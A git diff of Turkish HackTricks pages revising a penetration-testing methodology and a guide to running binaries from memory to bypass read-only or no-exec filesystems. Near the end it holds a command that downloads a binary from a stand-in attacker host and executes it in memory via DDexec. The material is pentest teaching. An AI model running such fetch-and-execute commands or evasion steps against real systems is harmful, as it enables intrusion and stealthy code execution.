5. Kapsam içindeki **CDN'lerden ve olmayan IP'leri** buldunuz.
6. **Web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?)
7. Şirkete ait **potansiyel halka açık bulut varlıklarını** buldunuz.
8. Size **kolayca büyük bir kazanç sağlayabilecek** **e-postaları**, **kimlik bilgileri sızıntılarını** ve **gizli sızıntıları** buldunuz.
@ -630,7 +630,7 @@ Ayrıca, [**Web Otomatik Tarama Açık Kaynaklı Araçlar**](../../network-servi
## **Tam Kapsamlı Otomatik Araçlar**
Belirli bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek birkaç araç mevcuttur.
Verilen bir kapsamla ilgili önerilen eylemlerin bir kısmını gerçekleştirecek birkaç araç bulunmaktadır.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -639,9 +639,9 @@ Belirli bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek
## **Referanslar**
* [**@Jhaddix**](https://twitter.com/Jhaddix)'in tüm ücretsiz kurslarına göz atın, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -654,9 +654,9 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) keşfedin
* **The PEASS Family** koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **hacking hilelerinizi paylaşın**.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulan gereklidir_).
@ -24,15 +24,15 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından tasarlanmıştır._
_Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından tasarlandı._
### 0- Fiziksel Saldırılar
Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? [**Fiziksel saldırılar hakkında bazı püf noktaları**](../hardware-physical-access/physical-attacks.md) ve [**GUI uygulamalarından kaçış hakkında**](../hardware-physical-access/escaping-from-gui-applications.md) bazılarına göz atmalısınız.
Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? [**Fiziksel saldırılar hakkında bazı püf noktaları**](../hardware-physical-access/physical-attacks.md) ve [**GUI uygulamalarından kaçış hakkında diğer püf noktaları**](../hardware-physical-access/escaping-from-gui-applications.md) okumalısınız.
### 1 - [Ağdaki ana bilgisayarları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin varlıklarını keşfetme](external-recon-methodology/)
### 1 - [Ağdaki ana bilgisayarları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/)
**Yaptığınız testin** **içsel veya dışsal bir test olup olmadığına bağlı olarak**, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz.
**Yapacağınız testin** **içsel veya dışsal bir test olup olmadığına bağlı olarak**, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz.
{% hint style="info" %}
Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi başardığınızda bu kılavuzu yeniden başlatmanız gerekebilir.
@ -41,7 +41,7 @@ Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi baş
### **2-** [**Ağla Eğlenmek**](pentesting-network/) **(İçsel)**
**Bu bölüm yalnızca içsel bir test gerçekleştiriyorsanız geçerlidir.**\
Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Pentesting Network**](pentesting-network/#sniffing)'ü okuyabilirsiniz.
Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif bir şekilde (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Pentesting Network**](pentesting-network/#sniffing)'ü okuyabilirsiniz.
### 3- [Port Tarama - Servis keşfi](pentesting-network/#scanning-hosts)
@ -49,40 +49,40 @@ Bir **ana bilgisayardaki zayıflıkları ararken** yapılması gereken ilk şey,
### **4-** [Servis sürümü açıklarını arama](search-exploits.md)
Hangi servislerin çalıştığını bildikten sonra, belki de sürümlerini bildiğinizde **bilinen açıkları aramalısınız.** Belki şanslı olursunuz ve size bir kabuk veren bir açık bulursunuz...
Çalışan servisleri ve belki de sürümlerini bildiğinizde, **bilinen açıkları aramalısınız.** Belki şanslı olursunuz ve size bir kabuk veren bir açık bulursunuz...
### **5-** Servislerin Pentest Edilmesi
Herhangi bir çalışan servis için şık bir açık yoksa, **her çalışan serviste yaygın yapılandırmaları aramalısınız.**
**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğerleri o kadar yaygın olmayanlar)**. Lütfen, sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen, sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
**Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (çünkü en kapsamlı olanıdır).**\
Ayrıca, [**yazılımdaki bilinen açıkları nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir.**](search-exploits.md)
Ayrıca, [**yazılımdaki bilinen açıkları bulma hakkında küçük bir kılavuz**](search-exploits.md) burada bulunabilir.
**Servisiniz indekste yoksa, Google'da arayın** başka öğreticiler ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise bağlanmaya başlayarak başlayabilirsiniz, onu fuzzelemek ve yanıtları okumak (varsa).
**Servisiniz indekste yoksa, Google'da arayın** diğer öğreticiler için ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzla ve yanıtları okuyarak** başlayabilirsiniz (varsa).
#### 5.1 Otomatik Araçlar
**Otomatik zayıflıkların değerlendirmelerini gerçekleştirebilen** birkaç araç da mevcuttur. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz servisler hakkındaki notlara dayanan bir araçtır.
**Otomatik zayıflıkların değerlendirmelerini gerçekleştirebilecek birkaç araç da bulunmaktadır.** **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim, bu araç, bu kitapta bulabileceğiniz servisler hakkındaki pentest notlarına dayanmaktadır.**
#### **5.2 Servislerin Kaba Kuvvet Saldırısı**
#### **5.2 Servislerin Kaba Kuvvet Uygulaması**
Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için **yararlı olabilir.** [**Farklı servislerin kaba kuvvet saldırısına yönelik bir Hile Sayfasını burada bulabilirsiniz**](brute-force.md)**.**
Bazı senaryolarda bir **Kaba Kuvvet** bir **servisi ele geçirmek** için yararlı olabilir. [**Farklı servislerin kaba kuvvet uygulamaları için bir Hile Sayfası burada**](brute-force.md)** bulunabilir.**
### 6- [Phishing](phishing-methodology/)
Bu noktada ilginç bir açık bulamadıysanız, ağa girmek için bazı **phishing** denemeleri yapmanız gerekebilir. Phishing metodolojim [burada](phishing-methodology/) bulunabilir:
Bu noktada ilginç bir açık bulamadıysanız, ağa girmek için bazı **phishing** denemeleri yapmanız gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz:
### **7-** [**Kabuk Alma**](shells/)
Herhangi bir şekilde kurbanın içinde **kod çalıştırabileceğiniz bir yol bulmuş olmalısınız.** Ardından, bir ters kabuk almak için kullanabileceğiniz sistemdeki olası araçların bir listesi çok faydalı olacaktır.
Herhangi bir şekilde kurbanın içinde kod **yürütebileceğiniz bir yol bulmuş olmalısınız.** Ardından, **ters kabuk almak için kullanabileceğiniz sistemdeki olası araçların bir listesi çok faydalı olacaktır** (shells/).
Özellikle Windows'ta **antivirüsleri atlatmaya yardıma ihtiyacınız olabilir**: [**Bu sayfaya göz atın**](../windows-hardening/av-bypass.md)**.**\\
### 8- İçeride
Kabukla ilgili sorunlarınız varsa, pentesterlar için en kullanışlı komutların küçük bir **derlemesini burada bulabilirsiniz:**
Eğer kabukla ilgili sorunlar yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini burada bulabilirsiniz:**
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -90,46 +90,46 @@ Kabukla ilgili sorunlarınız varsa, pentesterlar için en kullanışlı komutla
### **9 -** [**Veri Sızdırma**](exfiltration.md)
Kurbanın içinden **bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir.**](exfiltration.md)
### **10- Yetki Yükseltme**
Kurbanın içinden **bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.**
### **10- Ayrıcalık Yükseltme**
#### **10.1- Yerel Yetki Yükseltme**
#### **10.1- Yerel Ayrıcalık Yükseltme**
Eğer kutunun içinde **root/Administrator değilseniz**, **yetkileri yükseltmek için bir yol bulmalısınız.**\
Burada [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak yetkileri yükseltmek için bir rehber bulabilirsiniz.**\
Eğer kutu içinde **root/Administrator değilseniz**, ayrıcalıkları **yükseltmek için bir yol bulmalısınız.**\
Burada [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak ayrıcalıkları yükseltmek için bir rehber bulabilirsiniz.**\
Ayrıca **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol etmelisiniz:
* [**Kimlik Doğrulama, Kimlik Bilgileri, Token yetkileri ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/)
* Windows'ta [**kimlik bilgilerini çalma**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
**Windows ve Linux yerel Yetki Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Alan Yetki Yükseltme**
#### **10.2- Alan Ayrıcalığı Yükseltme**
Burada [**bir metodoloji bulabilirsiniz, Active Directory'de sıralamak, yetkileri yükseltmek ve kalıcı olmak için en yaygın eylemleri açıklayan**](../windows-hardening/active-directory-methodology/). Bu sadece bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir.
Burada [**bir metodoloji bulabilirsiniz, Active Directory'de ayrıcalıkları sıralamak, yükseltmek ve kalıcı olmak için en yaygın işlemleri açıklayan**](../windows-hardening/active-directory-methodology/). Bu sadece bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir.
### 11 - POST
#### **11.1 - Yağmalama**
Makinenin içinde daha fazla **şifre** bulabilir misiniz veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz var mı** kontrol edin.\
Makinede daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminizin olup olmadığını** kontrol edin.\
Windows'ta [**şifreleri dökmenin farklı yollarını burada bulabilirsiniz**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Kalıcılık
**Sistemi tekrar sömürmek zorunda kalmamak için 2 veya 3 farklı türde kalıcılık mekanizması kullanın.**\
**Burada** [**Active Directory'de kalıcılık hileleri bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Burada** [**Active Directory üzerinde kalıcılık hileleri bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Windows ve Linux için Kalıcılık Post'unu tamamlayın
TODO: Windows ve Linux'da Kalıcılık Gönderisini Tamamlayın
### 12 - Pivoting
**Toplanan kimlik bilgileriyle** diğer makinelerde erişiminiz olabilir veya belki de kurbanınızın bağlı olduğu yeni ağlarda **yeni ana bilgisayarları keşfetmeniz gerekebilir** (Pentesting Metodolojisine tekrar başlayın).\
Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında bir yazı bulabilirsiniz**](tunneling-and-port-forwarding.md).\
Kesinlikle [**Active Directory pentesting Metodolojisi**](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, yetkileri yükseltmek ve kimlik bilgilerini dökmek için harika hileler bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak için çok faydalı olabilir.
Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında bir gönderi bulabilirsiniz**](tunneling-and-port-forwarding.md).\
Kesinlikle [**Active Directory pentesting Metodolojisi**](../windows-hardening/active-directory-methodology/) hakkındaki gönderiyi de kontrol etmelisiniz. Orada yan yana hareket etmek, ayrıcalıkları yükseltmek ve kimlik bilgilerini dökmek için harika hileler bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak çok faydalı olabilir.
### DAHA FAZLA
@ -149,7 +149,7 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol e
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -157,14 +157,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>

View file

@ -9,12 +9,12 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -24,12 +24,12 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha detaylııklanmış şekilde bulabilirsiniz:
* [**DEF CON 31 - Gizlice ve Kaçınma için Linux Bellek Manipülasyonu Keşfi**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng ve bellek içi dlopen() ile Gizlice Sızma - HackTricks Takip 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**DEF CON 31 - Gizlilik ve Kaçınma için Linux Bellek Manipülasyonu Keşfi**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng ve bellek içi dlopen() ile Gizli sızıntılar - HackTricks Takip 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## salt okunur / no-exec senaryosu
Özellikle konteynerlerde **salt okunur (ro) dosya sistemi koruması** ile donatılmış Linux makinelerini bulmak artık daha yaygın hale gelmektedir. Bu, salt okunur dosya sistemiyle bir konteyner çalıştırmak için **`readOnlyRootFilesystem: true`**'yi `securitycontext` içinde ayarlamak kadar kolaydır:
Özellikle konteynerlerde **salt okunur (ro) dosya sistemi koruması** ile donatılmış Linux makineleri bulmak artık daha yaygın hale gelmektedir. Bu, salt okunur dosya sistemiyle bir konteyner çalıştırmak için `securitycontext` içinde **`readOnlyRootFilesystem: true`** ayarlamak kadar kolaydır:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -44,30 +44,30 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz, onu **çalıştıramayacaksınız**.
Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %}
Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi) ikili dosyaları **indirip çalıştırmayı karmaşık hale getirir**.
Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi) ikili dosyaları indirip çalıştırmayı **karmaşık hale getirir**.
{% endhint %}
## En Kolay Atlatma: Betikler
İkili dosyaları belirttiğimi unutmayın, **yürütülebilir herhangi bir betik**'i, yorumlayıcının makinede olması koşuluyla yürütebilirsiniz, yani `sh` mevcutsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği** gibi.
İkili dosyaları söz ettiğimi unutmayın, **yürütülebilir herhangi bir betik** çalıştırabilirsiniz, yeter ki yorumlayıcı makinede içeride olsun, örneğin `sh` yüklüyse bir **kabuk betiği** veya `python` yüklüyse bir **python betiği** gibi.
Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.
## Bellek Atlatmaları
Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**.
Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **korumaların orada geçerli olmadığı** bellekten **çalıştırmaktır**.
### FD + exec syscall atlatma
### FD + exec sistem çağrısı atlatması
Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` syscall), bu korumalar tarafından korunmayacak ve ardından bir **`exec` syscall**'ı çağırarak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**.
Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımcısında saklayabilirsiniz (`create_memfd` sistem çağrısı), bu korumalar tarafından korunmayacak ve ardından bir **`exec` sistem çağrısı** yaparak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**.
Bunun için [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kolayca kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve sıkıştırılmış** bir şekilde içeren bir betik oluşturacak ve `create_memfd` syscall'ı çağırarak oluşturulan bir **fd** içinde **ikiliyi çözümlemek ve sıkıştırmak** için talimatlarla birlikte belirtilen dilde bir betik oluşturacaktır ve onu çalıştırmak için **exec** syscall'ı çağırır.
Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve sıkıştırılmış** bir şekilde içeren bir betik oluşturacak ve `create_memfd` sistem çağrısını çağırarak oluşturulan bir **fd** içinde **çözümlemek ve sıkıştırmak** için talimatlarla birlikte bir **exec** sistem çağrısını çalıştıracaktır.
{% hint style="warning" %}
Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol**a sahip değildir, bu nedenle `create_memfd`'yi çağırmak için **bellek fd**'si oluşturulamaz.
Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **doğrudan sistem çağrıları yapmak için varsayılan bir yol**a sahip değillerdir, bu nedenle `create_memfd`'yi çağırmak ve ikili dosyayı saklamak için **bellek fd** oluşturmak mümkün değildir.
Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir.
{% endhint %}
@ -89,7 +89,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
